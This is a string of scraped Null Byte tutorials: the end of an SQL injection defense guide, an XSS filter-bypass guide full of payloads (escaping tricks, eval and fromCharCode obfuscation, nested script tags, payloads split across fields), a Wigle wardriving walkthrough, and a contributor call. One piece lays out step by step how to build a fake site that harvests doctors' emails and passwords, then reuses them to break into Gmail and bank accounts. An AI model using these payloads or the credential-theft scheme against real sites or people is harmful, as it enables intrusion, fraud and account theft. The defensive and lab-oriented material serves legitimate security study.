validation.Whitelist input validation defines precisely what is allowed to be submitted to the database. Accordingly, anything that is not explicitly specified is not authorized by default. Consistently structured data like dates, phone numbers, addresses, and email addresses can all be easily validated based on specific patterns, often utilizingregular expressions.Whitelisting can be an effective deterrent of SQL injection, especially when used alongside other methods of defense, but it still isn't bulletproof. One of the significant drawbacks is that all of the possible allowed data must be known and accounted for when performing validation. This is particularly difficult in dynamic environments or when codebases merge and diverge. It all comes down to the separation of code and data, and more standardized validation techniques should be used when possible.Stored ProceduresStored procedures are batches of SQL statements stored as objects in the database system that are later called upon to be executed. These are particularly useful for developers as it makes it easier to centralize and standardize sets of queries that are commonly run β€” think of them as similar to functions or methods used in other programming languages. Benefits of using stored procedures include proper encapsulation of data, internal error handling, reduction of network traffic, and the concept of write once, read many.When stored procedures are properly implemented, they are generally considered quite safe to use. However, in certain situations, such as when SQL code needs to be dynamically generated inside of a stored procedure, vulnerabilities can arise. If this absolutely cannot be avoided, it is imperative that other input validation or escaping is employed in tandem.In some cases, the use of stored procedures can be a detriment to security rather than a benefit. Whereas many SQL queries operate with onlyread and write permissions, stored procedures require execute rights. Therefore, it is theoretically possible for an attacker to fully own a compromised database server if stored procedures were in use.Prepared StatementsThe best way to prevent SQL injection is through the use of prepared statements. Prepared statements use parameterized queries to define all the SQL code ahead of time, then pass each parameter to the query later on. This ensures the integrity of the statement, making it extremely difficult for anattacker to alter the code. Think of prepared statements as similar to variables in other programming languages; the variable is set and later passed to a function when it is called.Prepared statements are arguably the best method to accurately distinguish between code and data used in SQL statements. For the most part, practically every programming language used to build web applications allows for the use of parameterized queries. Here is an example of what this could look like in PHP and Java:PHP EXAMPLE ----------- $stmt = $dbh->prepare("UPDATE (name, value) VALUES (:name, :value)"); $stmt->bindParam(':name', $name); $stmt->bindParam(':value', $value); JAVA EXAMPLE ------------ String username = request.getParameter("userName"); String query = "SELECT address FROM user_info WHERE id = ? "; PreparedStatement pstmt = connection.prepareStatement(query); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery();Least PrivilegeLike a lot of other situations encountered in penetration testing and hacking,owning a systemoften comes down to one thing: privilege. The principle of least privilege dictates that every component of a system, whether that be a user, program, or process, must only be granted access to the minimal amount of resources and information that is required to complete its purpose. This means that ordinary users are not given any kind of special access, like superuser or administrative permissions. It also means that applications and processes running in an environment only have access to what they need to perform their function viably.This principle applies to database systems to minimize the amount of damage if a SQL injection attack is successfully performed. It's easy for DBAs and developers to run everything with full administrative rights as often everything just works better that way, but doing so can open up huge security holes for attackers to take advantage of. If an account only needs read access to certain tables, it's important to restrict access in that way. Likewise, if an account just needs access to specific parts of a table, consider using views to limit what that account can see. It's also a good idea to have separate database users for different web apps β€” doing this reduces the risk of one compromised account accessing data used for other web applications.Wrapping Everything UpThis series on SQL injection has covered thebasics of databases and SQL,reconnaissance techniques,advanced attacks,signature evasion, and defense methods commonly used in the industry. It is important for you, as a white hat, to completely understand a technology from the bottom up, and now that we've covered SQL injection in depth, you can go forth and truly be a master of this craft.Don't Miss:Null Byte's Guides on SQL InjectionFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byskeeze/Pixabay; Screenshots by drd_/Null ByteRelatedSQL Injection 101:How to Avoid Detection & Bypass DefensesSQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackBecome an Elite Hacker Part 4:Hacking a Website. [Part 1]SQL Injection 101:Advanced Techniques for Maximum ExploitationHow To:Use SQL Injection to Run OS Commands & Get a ShellHow To:SQL Injection! -- Detailed Introduction.How to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1Hacker Hurdles:DEP & ASLRNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:SQL Injection Finding Vulnerable Websites..How To:Hack Hackademic.RTB1 Machine Part 1How To:Enumerate MySQL Databases with MetasploitHow to Hack Databases:Hunting for Microsoft's SQL ServerHow To:Hack websites with SQL injectionHow to Hack Databases:Running CMD Commands from an Online MS SQL ServerHow To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesGoogle Dorking:AmIDoinItRite?How To:Protect Your PHP Website from SQL Injection HacksHow To:Hack websites with SQL injection and WebGoatHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsHow To:Noob's Introductory Guide to Hacking: Where to Get Started?Weekend Homework:How to Become a Null Byte Contributor (2/24/2012)Goodnight Byte:HackThisSite, Realistic 2 - Real Hacking Simulations
How to Advanced Techniques to Bypass & Defeat XSS Filters, Part 2 Β« Null Byte :: WonderHowTo
Cross-site scripting can be one of the easiest vulnerabilities to discover, but to be successful with this type of attack, it is essential to learn how to get past filters. In theprevious guide, we explored some ways to do this, such as abusing attributes and event handlers and tricking the application into accepting unusual characters. Now, let's take a look at more techniques used to defeat filters.Existing JavaScript & Character EscapingThere is no doubt thatscripting languageslike JavaScript have dramatically increased the functionality ofweb technologies, allowing for efficient client-side processing, dynamic content generation, and a slew of other things that make life easier for both developers and users. But with these enhancements come more attack vectors for a determined hacker, especially when it comes to cross-site scripting.Previous:Advanced Techniques to Bypass & Defeat XSS Filters, Part 1Let's suppose an application takes astringsubmitted by the user and processes it in some way via JavaScript, like defining the string as a variable for later use. A simple example:<script>var a = 'myteststring; ... </script>If we can inject apayload, we can determine if this particular avenue of attack is vulnerable. By closing the single quote, terminating the statement with a semicolon, and inserting our desired code, we can do just that.'; alert(1); //Here we have ensured that the script will still function properly by commenting out the rest of the script with double slashes. We could also declare another variable and insert another opening quote, since we terminated the string earlier, and it should behave in much the same way.Often, an application will block the use of specific JavaScript keywords and characters,preventing the attackerfrom using methods such as the one above to perform XSS. JavaScript allows the use of character escaping, which can sometimes be used to bypass filters and get around this problem.One method is to use the escape character to escape the imposed escape character, like so:<script>var a = '\\'; alert(1); //This essentially un-escapes the blocked quote and allows the payload to execute. Another method is to utilize Unicode characters, which also allows thescript codepast certain filters.<script>a\u006cert(1)</script>Dynamic String Construction & Eval()JavaScript contains a function calledeval()which evaluates any given expression as a string. For example, the following would evaluate to 2.eval('1 + 1')If the application allows the use of this function, it can be used to deliver an XSS payload. Like before, we can use Unicode encoding within the string to sneak past the filter.<script>eval('a\u006cert(1)')</script>If the eval() function is blocked, which it often is, success can sometimes be found by encoding the actual characters of the function as well.Another technique we can use is dynamic string construction within the eval() command.<script>eval('al' + 'ert(1)')</script>There is another function that can be used in lieu of eval() calledfromCharCode(). This will construct a string from individual characters, which can be successful when more direct methods are being blocked.<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>Character EncodingIt's often useful to try a multitude of character sets when trying to beat filters. By encoding some or all of the desired payload, filters can sometimes be tricked into allowing input that would otherwise be blocked and discarded. Some encoded examples of the string "alert(1)" follow.Hexadecimal:61 6C 65 72 74 28 31 29Octal:141 154 145 162 164 050 061 051Binary:01100001 01101100 01100101 01110010 01110100 00101000 00110001 00101001Base64:YWxlcnQoMSk=Encoding can be utilized on particular characters, strings, and everything in between. In some instances, different character sets can even be combined to bypass defenses, so it pays off to experiment and explore all the possibilities pertaining to encoding when testing for XSS.Meta Refresh & File RenamingAweb browsercan automatically refresh the current page after a certain period with something called meta refresh. This is employed by setting a parameter in the meta HTML element. Meta refresh has been known to send the header without a referrer, so this can be an avenue of attack when referring URLs are not needed. We can utilize the pseudo-protocol technique that we covered earlier to inject our payload.<meta http-equiv="refresh" content="0;url=javascript:alert(1);">Another odd occurrence that can sometimes be exploited is the way file types are filtered. If an application is blocking any JavaScript files (.js), try renaming the source to animage file.<script src="payload.jpg">Sanitization & Length LimitsSanitization is arguably the most common type of defensive filter encountered when performing XSS attacks. This process attempts to strip or encode some aspects of the payload in an attempt to render the code harmless or stop it from running correctly.Sometimes an application will try to remove the first instance of a script tag. In these cases, this defense can often be overcome by using multiple tags.<script><script>alert(1)</script>The first tag gets stripped leaving the resulting code to execute as intended. In other situations, we can check if the filtering is donerecursively.<sc<script>ript>alert(1)</script>Here, if the script tag is removed, the resulting code still works after being joined together. When it comes to beating sanitizing filters, diligence pays off. It is vital to discover precisely how the sanitization is being performed and what is being filtered to outsmart this defense method.Another type of defense commonly encountered when probing for XSS flaws is input truncation. There's not much you can do when there is limited space to craft a payload, so depending on the situation, one has to devise clever ways of getting around this predicament.One such situation arises when there are multiple elements of user input being returned on the same page. Let's suppose there is a page that contains the following elements:<input type="hidden" name="id" value="54"> <input type="hidden" name="checksum" value="345123"> <input type="hidden" name="status" value="critical">By spreading the payload across these three elements, we can effectively bypass the length restrictions in place for each element on their own.<input type="hidden" name="id" value=""><script>/*"> <input type="hidden" name="checksum" value="*/alert(1)/*"> <input type="hidden" name="status" value="*/</script>">The pieces of code between the comment marks (/* and */) get ignored, so the browser ultimately processes our payload as if it was injected in only one location, thus defeating the length limits imposed on each element.Wrapping UpXSS is one of the most common vulnerabilities on the web today, and as such there are no shortages of defense against this type of attack. Throughout this guide, we have learned a variety of methods that can be used to bypass filters and deliver a successful attack. Though we have covered a multitude of techniques, the best way to defeat defensive filters is often a combination these. All it takes is a little time, persistence, and ingenuity to be successful.Follow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byPexels/Pixabay; Screenshots by drd_/Null ByteRelatedHow To:Advanced Techniques to Bypass & Defeat XSS Filters, Part 1How To:Hack a remote Internet browser with XSS ShellHow To:Hack websites using cross-site scripting (XSS)Hack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Discover XSS Security Flaws by Fuzzing with Burp Suite, Wfuzz & XSStrikeSQL Injection 101:How to Avoid Detection & Bypass DefensesHow To:BeEF - the Browser Exploitation Framework Project OVER WANHow To:Get advanced Adobe After Effects techniquesHow To:Learn advanced pottery techniquesHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)How To:The Hacks Behind Cracking, Part 1: How to Bypass Software RegistrationHow To:How Hackers Steal Your Cash on Trusted Sites & How to Prevent Against ItNews:Easy Skype iPhone Exploit Exposes Your Phone Book & MoreExploiting XSS with BeEF:Part 1News:Cybord VirusSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordNews:Remove Adobe 30 Day CS4 Trial LimitHow To:Shoot Clouds Like a ProNews:Minecraft World Weekly Workshop: Techniques in ArchitectureNews:Minecraft World's Ultimate Survival Guide, Part 4How To:Get the 'Mind Over Matter' Achievement
How to Wardrive on an Android Phone to Map Vulnerable Networks Β« Null Byte :: WonderHowTo
Tossing anold Android smartphonewith a decent battery into your hacking kit can let you quickly map hundreds of vulnerable networks in your area just by walking or driving by them. The practice of wardriving uses a Wi-Fi network card and GPS receiver to stealthily discover and record the location and settings of any nearby routers, and your phone allows you to easily discover those with security issues.Introduction to WardrivingIn 2005, hacker Albert Gonzalez and friends were wardriving along a Miami highway, looking for vulnerable WEP networks. They realized that major retailers like Bob's Stores, HomeGoods, Marshalls, T.J. Maxx, and A.J. Wright were using insecure WEP-encrypted wireless networks in their retail locations. Worse, these stores used the network to service the in-store credit card payment systems.What happened nextwas one of the greatest thefts of customer credit and debit card informationin history.Albert and his accomplices cracked the passwords of WEP networks in stores owned byTJX Companies, soon pivoting into the Massachusetts-based corporate network and planting a packet sniffer. This sniffer siphoned 90 million customer credit and debit cards to a server in Ukraine, which then sold them on the darknet for around $11 million. Although it was clear that TJX was aware of the security issues around WEP network encryption, they thought it was unlikely someone would notice.Wardriving can map networks it discovers to pinpoint vulnerable networks.Image by SADMIN/Null ByteWardriving as a concept has been around since the '90s, fueled by programs likeNetStumbler. It turns out, you can do a lot with the data created from wardriving, and since then, everyone from hackers to location providers likeSkyhookscan and log Wi-Fi networks worldwide.Don't Miss:Null Byte's Guide to Wi-Fi HackingIn the early 2000s, Google got into the wardriving game and began collecting geotagged Wi-Fi data early in their Google Street View initiative. Led by engineer Marius Milner, the creator of NetStumbler, Google Street View cars began logging the Wi-Fi networks of people around the world, creating a directory of wireless networks tied to addresses and Google Maps imagery. This data also included information from networks which had been left unencrypted, causing Googlea lot of legal trouble over privacy concernsand resulting in over $7 million in fees.More recently, the US military, keen to avoid jamming of GPS (which causes drones to become confused and predictable), havebeen developing NAVSOP, or Navigation via Signals of Opportunity, as a way of determining your position from random nearby signals even when communication from traditional navigation systems have been cut off.Wardriving as a Tactical ToolIn this guide, we will be using an Android adaptation of Wigle (Wireless Geographic Logging Engine), which will harvest our data and plug it into theWigle.net database. Why search only your data when thousands of other people have already contributed?Wigle Wifi Wardriving, a free Android app, shows the location, channel, encryption, and other important qualities of a Wi-Fi network without ever needing to connect to it.Image by SADMIN/Null ByteFirst started in 2001, the Wigle.net website is a collective searchable database of all discovered networks that have been contributed by wardrivers over the past decade. With over 323,446,100 networks mapped to date, searching Wigle.net is a powerful way to perform a database correlation attack. You can also download your entire personal database at any time through the app, as it's stored on the Wigle.net server if you choose to upload it.Our focus here will be on creating and linking a Wigle.net account with theWigle Wifi WardrivingAndroid app (which we'll just call "Wigle Wifi" from now on) to allow us to build our databases of wireless networks, as well as search a crowdsourced database when needed.Don't Miss:How to Find Any Router's Web Interface Using ShodanBecause Wigle Wifi uses easily available hardware, no specialized computer is needed to conduct a detailed analysis of a target. Even an old Android phone will support the Wigle Wifi app. It's subtle and can be used with no trace, so this method can be used in any high-security location discreetly.Like cellular triangulation, Wigle Wifi locates networks through combining multiple sightings of an access point. These sightings include precise GPS and signal strength measurements used to calculate the likely position of the router, often down to a few meters. From a signals intelligence perspective, this gives us the ability to run passive, undetectablereconnaissanceagainst a target, and query to a massive database of geolocated APs contributed by other wardrivers totrack down probe frames.Step 1: Setting Up a Wigle AccountWigle Wifi is tightly integrated with the Wigle.net database and website. So before we even install the Wigle Wifi app, we'll want to create a Wigle.net account.If you're on your computer, just navigate toWigle.netin your browser and click on the "Login" button up top to show the "Register" option. In your phone's browser, after going to the website, tap on the hamburger icon, select "Login," then "Register."Fill out the fields to create your free account. After that, remember the user name and password so you can input it into the Wigle Wifi app later. This will allow you to upload to the site and retrieve your entire database.Step 2: Installing Wigle WifiWigle Wifi is available in theGoogle Play Store, so just visit that link to download and install it onto your Android device. You need Android 4.0 and higher, so this will literally work on any smartphone you have collecting dust around your place.Step 3: Running Wigle Wifi on AndroidOnce you've got the app installed, open it to the main screen. Wigle Wifi is an aggressive app and will override settings to turn the Wi-Fi card on while it's running, so don't be surprised if your Wi-Fi turns on with Wigle Wifi running in the background.After granting the app all of the required permissions, a run should start right away. If not, make sure you're on the "Network List" page (via the hamburger icon), then tap on the three-dots icon in the top right. Select "Scan On" to begin scanning through channels and collecting wireless information. This will immediately begin displaying wireless networks in the area.The "Network List" screen with scanning off.Keep in mind, Wigle Wifi will consume extra power while scanning and logging networks. The more often you run it in the background, though, the better location accuracy you'll get. You can go back to the same three-dot menu and select "Scan Off" when you don't need it.Don't Miss:Capture WPA Passwords by Targeting Users with a Fluxion AttackStep 4: Adjusting Wigle Wifi's SettingsTo adjust the settings, you can access the menu by tapping the hamburger icon on the top left and selecting the "Settings" option. At the top of this menu, you can enter your Wigle.net login and password.Here, you can also adjust the display and run options, as well as specific options like how to increase or decrease scan times in response to changes in speed. Increasing the number of scans will drain the battery faster but capture more networks if you're moving quickly.Step 5: Backing Up Your Runs from Wigle WifiMake sure you've entered your Wigle.net login at the top of the "Settings" menu item, then back up your data in the app by tapping the "Upload to Wigle.net" button on the Network List page. When you upload your runs, you'll always be able to view and download them later on Wigle.net.Here, we see many runs with number of networks and other information displayed.Step 6: Using the Wigle.net WebsiteTo easily search your entire database, as well as other contributed data, we'll open Wigle.net in a browser. You can do this on your phone's browser or your computer's browser.There are many ways to search for information on Wigle.net. In the Wigle Wifi app, you can search for nearby networks, but on the website, you can search the entire database of contributions. The most obvious settings are under the "Search" function that appears after you log into your account.Searching the Wigle.net database for a network.For a more visual overview of the target, check out the "Maps" section. You can type in an address and adjust overlay filters to create a graphical map of the target with wireless data overlayed.Lots of people wardrive, and there is a lot of information already out there.Selecting on a network will give you more information about it. You can filter networks with the list of options on the right of the screen. Look up your address and see if your router has been logged!Step 7: Searching Local Queries in Wigle Wifi's MapIf you want to search a wardriving run on your phone rather than Wigle.net, you can do so (or watch results appear on the map live) by tapping the "Map" menu option. This will open a map of the area pinned to your current location and display nearby networks. Tapping on a network will bring up information about the manufacturer, the security used, and the channel and BSSID. Below, we see some mapped results from a local run.Querying the local database on the Wigle Wifi app.You can see how many networks you've collected in a run by selecting the "Dashboard" option in the menu.Wigle Wifi lets you build your own database of networks around you.Image by SADMIN/Null ByteStep 8: Exporting Data from Recon Runs in Wigle WifiMaybe you want to work with your data directly. Navigating to the "Database" tab on the Wigle app shows the various options for exporting data from Wigle Wifi.If you want to pull everything you've ever uploaded into one file, you can select "Import Observed." Doing this pulls from Wigle.net, so be prepared to wait a little for the download if you have a ton of networks. You can also use this tab to search network runs, although sometimes this functionality can be a little buggy.The Wigle team also shared a few more tips with us for accessing your data: First, you can access the runs from yourSD cardor internal memory; Each run is archived upon upload, and the SQLite database can be backed up and accessed. Second, the transid on your uploads page gives you a link to a KML representation of your run with bad and incomplete data points filtered out for the most part.Step 9: Contributing to the Big PictureWigle.net works because of people contributing. If you feel like adding to the giant pool of knowledge that is Wigle.net (or you've got a competitive streak), consider adding to the community database to build a better OSINT tool for fellow wireless researchers.There is a thriving community of wardrivers who compete to discover the most networks, and anyone can join! You can even create a team to rank up against other wardriving teams. With some users having discovered millions of new networks, competition is fierce for a place in wardriving history. Check out the "Rankings" menu item in the app.It currently takes finding over 100,000 new (previously unknown to Wigle.net) Wi-Fi networks just to crack the top 500 users on Wigle's leaderboard, so be prepared to do some serious hunting to earn street cred in the wardriving community!ConclusionWhether you're wardriving for tactical network reconnaissance, to build a database of your city's Wi-Fi networks, or just to contribute to an exciting project, Wigle Wifi is a great tool to quickly learn about the wireless world around you.Tactical wardriving, or warwalking, can give you a picture of a target's wireless infrastructure.Image by SADMIN/Null ByteAs we learned withRoutersploit, even an unrooted Android phone can get you started hacking! If you have any questions, ask them here or @sadmin2001 onTwitterorInstagram.Don't Miss:Get Started Hacking Routers with an Unrooted Android PhoneFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedHow To:Map Wardriving Data with Jupyter NotebookHow To:Map Networks & Connect to Discovered Devices Using Your PhoneHow To:Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesHow To:Exploit Routers on an Unrooted Android PhoneHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Download Entire Maps for Offline Use in Google MapsHow To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoHow To:Enable Dark Mode in Google Maps on iPhone & AndroidNews:Use Google Search to Locate Your Android Phone or Tablet, Send Directions to It & MoreHow To:Prepare Your Phone for a Trip Abroad with These TipsHow To:Navigate Hands-Free Using Voice CommandsHow To:Samsung Phones Aren't the Only Android Devices Vulnerable to Remote Wipe Attacksβ€”Is Yours at Risk?How To:Use Voice Commands in Google Maps to Start Navigation or Add a StopNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsCES 2015:The W3D Gaming Phone Is Like an Android, Nintendo 3DS, & PS Vita CombinedGoogle Maps 101:How to Tweak Voice Navigation Prompts on Android & iPhone for Clearer Spoken DirectionsHow To:Check for the Stagefright Exploit on Your Android DeviceHow To:Create map shortcuts on an Android cell phone with GPSNews:Have an NFC-Enable Phone? This Hack Could Hijack ItHow To:Use Google Maps to Share Your Location with Friends & FamilyNews:These Android Phones Could Be Affected by Adups' Chinese SpywareNews:Google's About to Take Over Your Car as Android Auto Rolls Out to EveryoneHeartbleed Still Lingers:How to Check Your Android Device for VulnerabilitiesGoogle Maps 101:How to Add a Stop After You've Started NavigationHow To:What to Do if Google Maps Won't Stop Asking You to Calibrate Your CompassHow To:Enable Google Assistant in Maps for Hands-Free Navigation Help on iPhone or AndroidNews:How Android Go Is Bringing Flagship Performance to Low-End PhonesHow To:Add a Speedometer to Google Maps on AndroidHow To:USB Tether Your Android Device to Your Macβ€”Without RootingHow To:Share Your Wi-Fi Password with a QR Code in Android 10How To:Save Battery Life & Never Get Lost Again with Offline Maps & Directions on Your Samsung Galaxy S3Android Basics:How to Connect to a Wi-Fi NetworkHow To:Network Unlock Your Samsung Galaxy S3 to Use with Another GSM CarrierHow To:Map wardrives with IGiGLE and WiGLEHow To:Check Out WonderHowTo On Your iPhone Or Android PhoneNews:Art Meets Information Liberation with the Transparency GrenadeNews:Be an Android expert userHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:Change Your Android Device's Wi-Fi Country Code to Access Wireless Networks Abroad
Hack Like a Pro: The Ultimate Social Engineering Hack Β« Null Byte :: WonderHowTo
Welcome back, my greenhorn hackers!Although we have focused primarily on technical hacks here, social engineering can sometimes be especially effective. This one requires a bit of technical skill, but not too much. In addition, it's limited by how specific a target you can chooseβ€”but itwillwork.What Is Social Engineering?Social engineering is the art of getting people togive youthe information you are seeking, rather than breaking into a system to get it. Among the most sought after bits of information is the username and password. Many online systemsβ€”even financial websitesβ€”use your email address as a username. Then they ask you to provide a unique password.Today's Social Engineering HackI've already covered one social engineering hack in myspear phishing with SETguide, and there have been numerous othersocial engineering hack guidesposted here on Null Byte by contributors and past admins, most of which are still very useful today.But today, we're going to focus solely on getting those much sought after email addresses and passwords. Let's concentrate on developing a website that targets a section of the population and have them create an account with their username (email address) and password.Step 1: Choose Your Target AudienceThe first step is too choose who or what industry you want to target. Let's imagine you want to target doctors. Since so many doctors are golfers, maybe you couldcreate a special websitethat catered to golfing doctors. Maybe a website that ranked the best doctor golfers?Step 2: Use Their Email Address as Their UsernameNow that you have the site up and running, you will need an authentication mechanism. We might simply ask the doctors to enter their email address as a username. Since so many sites today use the user's email address as their username, few would be suspicious.After they enter their username, they will have to select password to be part of our wonderful website!Step 3: Promote the WebsiteThis is the hard and costly part. You need to promote the website so that busy doctors will find it and open an account. You can create aGoogle AdWordsaccount and pay for words that send our victims to view our site. These keywords might be golf, golf vacations, best doctor golfers, etc.Of course, this might take a while, but to be a good hacker, you must bepatient and creative. Some effective hacks take years to be completed.Step 4: Open Their Email with the PasswordEventually, some erstwhile doctors with more interest in hitting the links than caring for patients will find your site and log themselves in. When they do, you will have both their email address and their password for your site.Step 5: Find Other AccountsNow, there is no guarantee that your visitors/doctors will use the same password on your site as their email account, but nearly all of us re-use the same password despite all the precautions against it, even after such events asHeartbleed.Let's start with the email account. Let's navigate to Gmail (if it's a Gmail address) and try the email and password to get into his email account. It won't work every time, but it only has to work a few times.When we successfully enter his email account, we can search his emails for other accounts such as his bank, brokerage, etc. Remember, when he opened that account, the website sent an email confirming it with his username and password.Social Engineering Complete!This little exercise, I hope, demonstrates that social engineering can be an excellent way to gain access to accounts that would be otherwise unbreakable. With a little imagination, hard work and patience, anything is possible!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage credits:Golfing doctorvia Golf Digest,Handing over keysvia ShutterstockRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackSocial Engineering:How to Use Persuasion to Compromise a Human TargetHow To:Learn the Secrets of PsychologyNews:SchrΓΆdinger's App β€” with Binky, Everything & Nothing Is RealThe Hacks of Mr. Robot:How to Send a Spoofed SMS Text MessageHow To:This Quick & Easy Shortcut Minces Garlic in SecondsHow To:Use Social Engineering to Hack ComputersWeekend Homework:How to Become a Null Byte Contributor (2/17/2012)How To:The Official Google+ Insider's Guide IndexListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Final Session)Social Engineering, Part 1:Scoring a Free Cell PhoneListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)Listen In:Live Social Engineering Phone Calls with Professional Social EngineersNews:The Sims Social Ultimate Cheat EngineHow To:Score Free Game Product Keys with Social EngineeringNews:Live Social EngineeringHow To:Proof of Social Engineering Success!How To:Social Engineer Your Way Into an Amusement Park for FreeSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordWeekend Homework:How to Become a Null Byte Contributor (2/3/2012)Weekend Homework:How to Become a Null Byte Contributor (2/10/2012)News:Google social web engineer Joseph Smarr talks about lessons from Google+Xbox LIVE Achievement:How to Earn Free Microsoft Points with Social EngineeringHow To:Do Email Spoofing Using Sharpmail.News:Social Hacking and Protecting Yourself from Prying EyesNews:Social Haven Rescue Free Iphone Game-We liked it?
Weekend Homework: How to Become a Null Byte Contributor (2/17/2012) Β« Null Byte :: WonderHowTo
Grab your thinking caps and get your hack on. Null Byte is officially seeking contributors on a weekly basis who are willing to take the time to educate the Null Byte community on anything, from hardware hacks to life hacks. Contributors that write tutorials will be featured on theNull Byte blog, as well as the front page ofWonderHowTo(providing it's up to par, of course).Past contributions led to some amazing articles ontext encryption and decryption,scanning for viruses in Windows,coding a basic TCP/IP client,sending text messages in Python, and more.There is no need to be intimidated if you fear you lack the writing skills. I will edit your rough drafts if necessary and get them looking top-notch! You can write tutorials on any skill level, about anything you feel like sharing that is related to tech, hacking, psychology and social manipulation, or whatever other life hacks you think mesh with our community.Can I Help in Another Way?This isn't exclusive to tutorials. Even if you simply post useful links and articles to thecorkboard, you are doing the community ahugefavor, because at some point, someone will need the information you have provided. Let's continue to make Null Byte the bestforumever by stuffing it with the latest and greatest hacking tutorials and topics.If you have skills and want to share knowledge on any of the topics below, please leave a response in the comments with which topic you would like to write,post directly to the corkboard, or message me privately. If you have any additional ideasat all, please submit them below.This Weeks TopicsMisc. Social Engineeringβ€”Throw us any social engineering experiences you may have, whether it be scoring something for free or getting private information, do tell. You should include detailed methods and the psychology behind why it works.Advanced Social Engineering Tactics Series: Interrogation Psychologyβ€”Social engineering is something I hold dearly. Teach the community how the art of interrogation works. Some great sources are the official CIA manuals on it (if you can find them).Advanced Social Engineering Tactics Series: Reading Body Languageβ€”Teach the community how body language and signals can mean certain things to the observer. Some key points to hit would be: lying, fear, etc.How to Make a LED Flashlight from a Dead Laptop Batteryβ€”Just as it says. Teach the community how to rip the cells out of a dead laptop battery, identify the good ones, and then use them to power a flashlight!Post to All of Your Social Media Statuses at Once with Pythonβ€”This is originally one I was doing myself, but it came to a stand-still when I learned how closed the Google+ API is still. Currently, you can only read profiles and shares. Hack a way around this, and you are officially less lazy than I (who enjoys playing with mostly-closed APIs).Teach Your Wireless Router New Tricks by JTAGingβ€”Give the community a good guide on JTAGing and flashing with the infamous DD-WRT firmware.A Guide to a Healthy Brainβ€”Go over methods to keep your memory fresh. You can include vitamins and activities that stimulate brain activity, growth and development. The brain is the most important organ, so keep it healthy!Advanced Social Engineering Tactics Series: How to Analyze Personalities on Sightβ€”Give us the rundown on how to read a person's personality using the 16 base personality types. Would be cool to include some psychological explanation, like "If a person does this, they will do this because...".Batch Image Converter in Pythonβ€”Create a script in Python to covert a batch of images to a specified resolution, convenient for storing larger pictures, keeping them on phones, or emailing.Advanced Social Engineering Tactics Series: How to Lie to Someone and Get Away with Itβ€”I'm looking for this one to be more of a psychology behind lying, and how to tell when others are lying. This is a helpful skill to have.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: 